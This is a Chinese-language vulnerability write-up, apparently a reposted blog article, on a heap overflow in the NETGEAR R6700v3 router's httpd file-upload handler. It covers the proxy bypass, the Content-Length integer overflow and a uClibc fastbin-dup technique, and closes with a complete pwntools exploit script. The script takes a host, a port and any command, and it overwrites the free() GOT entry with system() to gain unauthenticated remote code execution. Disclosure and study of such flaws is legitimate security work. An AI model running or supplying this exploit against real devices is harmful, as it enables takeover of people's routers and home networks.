NETGEAR 路由器中发现堆溢出漏洞

安全侠2020-07-06 15:08:38

在2019年东京Pwn2Own大会上,无线路由器引入为一个新种类:NETGEAR Nighthawk R6700v3。但该路由存在一些安全隐患,其中包括一个堆溢出漏洞,该漏洞可能允许恶意第三方从局域网控制设备。在这篇文章中,我们将详细讨论这个漏洞,并提供了一个概念验证的漏洞,且对任何版本V1.0.4.84_10.0.58的路由器可用。

该漏洞存在于受影响设备的httpd服务(/usr/bin/httpd)中。未经身份验证的攻击者可以在连接到本地网络时向HTTPd Web服务发送特制的HTTP请求,这可能导致目标系统的远程代码执行,此漏洞可能会导致系统易遭受攻击。文件上传功能中存在堆溢出漏洞。

背景

首先,路由器在处理HTTP请求时。Web服务器不会直接80端口上侦听。而是通过另一个进程作为代理侦听。这个过程就是NGINX代理。接下来将详细解释它的功能:

图1-sub_159E8函数的执行流程

首先,程序从套接字读取HTTP请求。然后执行检查,以确定HTTP请求是否是文件上传请求的形式。如果该检查返回false,则调用sub_10DC4函数。该函数负责解析HTTP请求、执行身份验证、发送请求等等。相反,如果HTTP请求是文件上传请求的形式,则将执行如X所示的代码部分。sub_10DC4是处理请求的主要函数。代码的X部分在这个函数的外面,这应该是我们感兴趣的一个地方。

漏洞

如上所述,该漏洞是通过HTTP上传触发的。上载请求由端点处理/backup.cgi。在对该功能进行测试的过程中,存在两个影响该端点的问题。第一个涉及缺少身份验证检查。攻击者无需身份验证即可上传新的配置文件。但是,我们无法替换目标的凭据或更改目标系统的设置,因为在应用新的配置设置之前会进行身份验证检查。第二个问题是文件上传功能中的堆溢出漏洞。
易受攻击的函数将上传文件的内容复制到攻击者控制大小的基于堆的缓冲区中。以下是易受攻击的函数的伪代码:


图2-漏洞函数的伪代码

为了控制基于堆的缓冲区的大小,攻击者可以利用Content-Length报头,但这并不简单,主要有以下原因。
导入配置文件的HTTP请求如下:
图3-导入配置文件的HTTP请求

HTTP请求必须满足几个条件。首先,URI必须包含以下字符串之一:backup.cgigenierestore.cgiupgrade_check.cgi。接下来,该请求必须是带有报头的multipart / form-data请求name="mtenRestoreCfg。最后,文件名不能为空字符串。但是,HTTP请求必须先传递到NGINX代理,然后才能传给httpd服务。policy_default.confNGNIX代理的配置文件如下:

图4-NGINX配置

因此,为了绕过NGINX代理,选择URI:

图5-绕过代理的URI

sub_159E8函数中进行文件上传的处理。从这里,程序从标题中提取Content-Length值:

图6-内容长度提取

上面的代码片段首先Content-Length使用stristr函数在整个HTTP请求中定位报头,然后通过该atoi函数的最小实现,进行循环提取并将报头的值从字符串转换为整数:

图7-将字符串转换为整数的循环

但是,Content-Length由于NGINX代理,我们不能直接将任意值传递给报头。除了过滤请求之外,代理还重写请求。它确保该Content-Length值等于发布数据的大小,并将该Content-Length报头放置在请求的第一个报头中。因此,我们不能Content-Length在另一个报头中伪造报头。但是,提取Content-Length报头的逻辑是有缺陷的。它对整个HTTP请求执行stristr函数,而不是仅请求报头!因此,在URI中放置一个Content-Length报头是可以的,httpd服务如下所示:

图8-伪造Content-Length值的URI

由于请求行出现在具有上述URI的HTTP报头之前,因此传递到图7中的代码的字符串是111 HTTP/1.1。这样,我们可以完全控制的值Content-Length并触发整数溢出漏洞。

关于图7中 atoi的实现,当它遇到非数字字符时并不会停止,而是直至找到换行序列\r\n,并将找到的字符解析为十进制数字。在确定每个字符的数值,会从字符代码0中减去数字的ASCII字符代码。0通过解析数字时,此公式将产生期望值9。解析非数字字符时,它将产生无效的结果。例如,当解析空格字符(ASCII 0x20)时,计算的数值是0x20 – 0x300xfffffff0。由于计算无效,该字符串111 HTTP/1.1在上面的示例中,最终的计算值是0x896ebfe9!为了控制该值使用了蛮力程序来替代各种 Content-Length值并模拟atoi循环,直到找到合适的值为止。它产生的解为4156559 HTTP/1.1,其值为ffffffe9,这是一个大小合理的负值。
代码路径:

图9-整数溢出漏洞

首先,程序Content-Length使用无符号比较将0的值与0x20017进行比较。如果该值大于0x20017,则将执行地址0x17370处的汇编代码。然后,存储在dword_19A08dword_19A104的值等于0,因为导入配置请求。接下来,程序检查存储在中的指针的值dword_1A870C。如果该值不等于零,则此指针所保存的内存将被释放。然后,程序通过调用malloc传递正值Content-Length0x258来分配用于存储文件内容的内存。结果存储在中dword_1A870C。因为我们可以完全控制Content-Length的值,所以可以将Content-Length值设置为负数来触发整数溢出漏洞。
接下来,程序将整个文件内容复制到上面分配的缓冲区中。这将导致堆溢出漏洞。
专栏
图10-堆缓冲区溢出漏洞

注意事项

在制作漏洞利用程序时,需要考虑以下几点:

-我们有一个堆溢出漏洞,该漏洞使我们可以向堆内存写入任意数据,包括空字节。
-由于ASLR的实现不佳,堆内存位于恒定地址。
-在系统中使用uClibc。这是glibc的最小libc版本,因此mallocfree函数具有简单的实现。
-调用memcpy()并实现堆溢出后,sub_21A58()将被调用以返回错误页面。在中sub_21A58()fopen()称为打开文件。在中fopen()malloc()被调用两次,大小分别为0x60和0x1000。这些分配中的每一个都随后释放。总而言之,内存分配和释放的顺序如下:

专栏
图11 –内存分配操作序列

此外,我们可以发送一个导入字符串表请求调用另外一个mallocfreesub_95AF4()。这是用于计算字符串表上载文件的校验和的函数。伪代码如下:

专栏
图12 – sub_95AF4()中的伪代码

导入字符串表的HTTP请求如下:

图13-导入字符串表HTTP请求

开发技术

堆缓冲区溢出使我们能够进行fastbin dup攻击。“ Fastbin dup”攻击破坏堆的状态,因此随后的调用将malloc返回选定的地址。一旦malloc返回选定地址,可以写数据到这个地址。覆盖GOT条目然后产生远程代码执行。特别是,我们可以为free()覆盖GOT条目,将其重定向到system(),以便通过shell执行包含攻击者提供的缓冲区数据。

但是进行fastbin dup攻击并不容易,对于每个请求都会发生一个附加的malloc(0x1000)调用。这会产生对__malloc_consolidate()函数的调用,从而破坏fastbin。

如上所述,系统使用uClibc库,因此free()malloc()函数与glibc的实现完全不同。看一下free()函数:

专栏
图14 – uClibc中free()的实现

在第22行,在访问fastbins数组时缺少边界检查。这可能导致越界写入fastbins数组。

检查malloc_state结构和fastbin_index宏,它们都在malloc.h中定义:

专栏
图15-malloc_state结构和fastbin_index宏定义

max_fast变量位于fastbins数组的正前面。因此,如果我们将块的大小设置为8,则当释放该块时,fastbin_index(8)将返回-1并且max_fast将被较大值(或指针)覆盖。当堆正常运行时块的大小不会是8。这是因为作为块的一部分的元数据占用8个字节,因此大小为8表示用户数据为零字节。

一旦max_fast更改为较大的值,__malloc_consolidate()将不再调用malloc(0x1000)。这使我们可以进行fastbin dup攻击。

总结:

  • 发出触发堆溢出漏洞的请求,覆盖PREV_INUSE一个块的标志,从而错误地指示先前的块是空闲的。
  • 由于PREV_INUSE标志不正确,我们可以malloc()返回与实际现有块重叠的块。这使我们可以编辑现有块的元数据中的size字段,将其设置为无效值
  • 当该块被释放并放置在fastbin上时,malloc_stats->max_fast将被较大的值覆盖。
  • 一旦malloc_stats->max_fast更改,__malloc_consolidate()在调用期间不再调用malloc(0x1000)。这使我们能够进行fastbin攻击。
  • 再次触发堆溢出漏洞,fd使用选定的目标地址覆盖空闲的fastbin块的指针。
  • 后续调用malloc()将返回我们选择的目标地址。我们可以使用它来将所选数据写入目标地址。
  • 使用此“在哪里写”原语写入address free_got_addr。我们写在那里的数据是system_plt_addr
  • 最后,释放包含攻击者提供的字符串的缓冲区时,调用system()而不是调用free(),进而生成远程代码执行。

堆内存的布局和分步利用过程在下面的PoC文件中。

#! /usr/bin/python2
# coding: utf-8
from pwn import *
import copy
import sys

def post_request(path, headers, files):
    r = remote(rhost, rport)
    request = 'POST %s HTTP/1.1' % path
    request += '\r\n'
    request += '\r\n'.join(headers)
    request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
    post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
    post_data += files['filecontent']
    request += 'Content-Length: %i\r\n\r\n' % len(post_data)
    request += post_data
    r.send(request)
    sleep(0.5)
    r.close()

def make_filename(chunk_size):
    return 'a' * (0x1d7 - chunk_size)

def exploit():
    path = '/cgi-bin/genie.cgi?backup.cgiContent-Length: 4156559'
    headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': d4rkn3ss']
    files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
    print '[+] malloc 0x28 chunk'
    # 00:0000│ 0x103f000 ◂— 0x0
    # 01:0004│ 0x103f004 ◂— 0x29
    # 02:0008│ r0 0x103f008 <-- return here
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x20)
    post_request(path, headers, f)

    print '[+] malloc 0x18 chunk'
    # 00:0000│ 0x103f000 ◂— 0x0
    # 01:0004│ 0x103f004 ◂— 0x29 /* ')' */
    # 02:0008│ 0x103f008
    # 03:000c│ 0x103f00c
    # ... ↓
    # 0a:0028│ 0x103f028
    # 0b:002c│ 0x103f02c ◂— 0x19
    # 0c:0030│ r0 0x103f030 <-- return here
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x10)
    post_request(path, headers, f)

    print '[+] malloc 0x28 chunk and overwrite 0x18 chunk header to make overlap chunk'
    # 00:0000│ 0x103eb50 ◂— 0x0
    # 01:0004│ 0x103eb54 ◂— 0x21 <-- recheck
    # ... ↓
    # 12d:04b4│ 0x103f004 ◂— 0x29 /* ')' */
    # 12e:04b8│ 0x103f008 ◂— 0x61616161 ('aaaa') <-- 0x28 chunk
    # ... ↓
    # 136:04d8│ 0x103f028 ◂— 0x4d8
    # 137:04dc│ 0x103f02c ◂— 0x18
    # 138:04e0│ 0x103f030 ◂— 0x0
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x20)
    f['filecontent'] = 'a' * 0x20 + p32(0x4d8) + p32(0x18)
    post_request(path, headers, f)

    print '[+] malloc 0x4b8 chunk and overwrite size of 0x28 chunk -> 0x9. Then, when __malloc_consolidate() function is called, __malloc_state->max_fast will be overwritten to a large value.'
    # 00:0000│ 0x103eb50 ◂— 0x0
    # 01:0004│ 0x103eb54 ◂— 0x4f1
    # ... ↓
    # 12d:04b4│ 0x103f004 ◂— 0x9
    # 12e:04b8│ 0x103f008
    # ... ↓
    # 136:04d8│ 0x103f028 ◂— 0x4d8
    # 137:04dc│ 0x103f02c ◂— 0x18
    # 138:04e0│ 0x103f030 ◂— 0x0
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x4b0).ljust(0x10) + 'a' * 0x4ac + p32(0x9)
    post_request('/strtblupgrade.cgi.css', headers, f)

    print '[+] malloc 0x18 chunk'
    # 00:0000│ 0x10417a8 ◂— 0xdfc3a88e
    # 01:0004│ 0x10417ac ◂— 0x19
    # 02:0008│ r0 0x10417b0 <-- return here
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x10)
    post_request(path, headers, f)

    print '[+] malloc 0x38 chunk'
    # 00:0000│ 0x103e768 ◂— 0x4
    # 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
    # 02:0008│ r0 0x103e770 <-- return here
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x30).ljust(0x10) + 'a'
    post_request('/strtblupgrade.cgi.css', headers, f)

    print '[+] malloc 0x48 chunk'
    # 00:0000│ 0x103e768 ◂— 0x4
    # 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
    # 02:0008│ r0 0x103e770
    # ... ↓
    # 0e:0038│ 0x103e7a0
    # 0f:003c│ 0x103e7a4 ◂— 0x49 /* 'I' */
    # 10:0040│ r0 0x103e7a8 <-- return here
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x40).ljust(0x10) + 'a'
    post_request('/strtblupgrade.cgi.css', headers, f)

    print '[+] malloc 0x38 chunk and overwrite fd pointer of 0x48 chunk'
    # 00:0000│ 0x103e768 ◂— 0x4 <-- 0x38 chunk
    # 01:0004│ 0x103e76c ◂— 0x39 /* '9' */
    # 02:0008│ 0x103e770 ◂— 0x0
    # 03:000c│ 0x103e774 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaI'
    # ... ↓
    # 0f:003c│ 0x103e7a4 ◂— 0x49 /* 'I' */ <-- 0x48 chunk
    # 10:0040│ 0x103e7a8 —▸ 0xf555c (semop@got.plt)
    free_got_addr = 0xF559C
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x30)
    f['filecontent'] = 'a' * 0x34 + p32(0x49) + p32(free_got_addr - 0x40)
    post_request(path, headers, f)

    print '[+] malloc 0x48 chunk'
    # 00:0000│ 0x103e7a0 ◂— 'aaaaI'
    # 01:0004│ 0x103e7a4 ◂— 0x49 /* 'I' */
    # 02:0008│ r0 0x103e7a8 <-- return here
    f = copy.deepcopy(files)
    f['filename'] = make_filename(0x40)
    post_request(path, headers, f)

    print '[+] malloc 0x48 chunk. And overwrite free_got_addr'
    # 00:0000│ 0xf555c (semop@got.plt) —▸ 0x403b6894 (semop) ◂— push {r3, r4, r7, lr}
    # 01:0004│ 0xf5560 (__aeabi_idiv@got.plt) —▸ 0xd998 ◂— str lr, [sp, #-4]!
    # 02:0008│ r0 0xf5564 (strstr@got.plt) —▸ 0x403c593c (strstr) ◂— push {r4, lr} <-- return here
    system_addr = 0xDBF8
    f = copy.deepcopy(files)
    f['name'] = 'StringFilepload'
    f['filename'] = 'a' * 0x100
    f['filecontent'] = p32(0x40).ljust(0x10) + command.ljust(0x38, '') + p32(system_addr)
    post_request('/strtblupgrade.cgi.css', headers, f)

    print '[+] Done'

if __name__ == '__main__':
    context.log_level = 'error'
    if (len(sys.argv) < 4):
        print 'Usage: %s <rhost> <rport> <command>' % sys.argv[0]
        exit()
    rhost = sys.argv[1]
    rport = sys.argv[2]
    command = sys.argv[3]
    exploit()

针对这些问题,NETGEAR计划发布固件更新,官方网站提供Bata修复程序的下载,修复所有受影响产品的漏洞。

字符串函数函数调用
本作品采用《CC 协议》,转载必须注明作者和本文链接
UAC Bypass 技术学习
2022-07-01 16:22:43
通过在这些操作启动前对其进行验证,UAC 可以帮助防止恶意软件和间谍软件在未经许可的情况下在计算机上进行安装或对计算机进行更改。提升的应用程序以 High 完整性级别运行,普通进程以 Medium 完整性级别运行,低权限进程以 Low 完整性级别运行。
二进制程序分析
2021-09-25 17:18:46
分析恶意软件的第一步是收集二进制程序在主机上执行的行为事件,研究人员根据这些行为大体形成一个思路来描述恶意软件的功能。 这包含应用释放或者从互联网下下载的文件,写入什么样的注册表、访问了什么网络地址,修改读写本地的什么文件等等。那么研究人员通过行为会确定恶意样本的类型。通常类型如下:
本篇针对该JS中的字符串混淆进行还原。字符串是如何混淆的解密方式想要对字符串反混淆就要先分析该样本是如何对字符串进行混淆的。而处于全局作用域的_0x1f1a68实际上也是对另一个函数的调用。
上一篇文章介绍了xorstr的原理和最小化验证概念的代码,这篇文章来看下这种已经被广泛应用于各恶意样本以及安全组件中的技术如何还原,如果还没看上篇建议先看下了解其实现后再看本篇文章。
开放虚拟机格式(Open Virtual Machine Format,OVF)是一种虚拟机分配格式,能够支持不同产品与组织之间共享虚拟机。 VMware OVF Tool是由VMware免费提供的一款支持虚拟的导入导出工具,支持以命令提示符的方式运行。
这里根据红日安全PHP-Audit-Labs对一些函数缺陷的分析,从PHP内核层面来分析一些函数的可利用的地方,标题所说的函数缺陷并不一定是函数本身的缺陷,也可能是函数在使用过程中存在某些问题,造成了漏洞,以下是对部分函数的分析
php中的disable_function是EG(ini_directives)来获得的,而phpinfo根据 EG(ini_directives) 中获取信息并打印。
因为程序肯定是病毒,我就不上传杀毒网去查杀了。正常我们在分析一个未知恶意程序的时候,流程都是要先上传杀毒网看看。 用PEID进行查壳,显示未加壳,程序采用Delphi语言开发。
写一个android中so文件反混淆的系列文章,目前这是第三篇。根据其他人的分析可知,libDexHelper.so是指令抽取的实现,libdexjni.so是VMP的实现。在android so文件攻防实战-百度加固免费版libbaiduprotect.so反混淆中我们是交叉引用拿到加密后的字符串和它对应的解密函数的表然后frida主动调用得到的解密后的字符串,但是在这里这个方法就不太好用了。
大厂基本为了程序的安全,会使用大量内联SVC去调用系统函数,以此来保护程序的安全。如何实现SVC指令的IO重定向,成为最大的问题。内核态是当Linux需要处理文件,或者进行中断IO等操作的时候就会进入内核态。当arm系列cpu发现svc指令的时候,就会陷入中断,简称0x80中断。
安全侠
暂无描述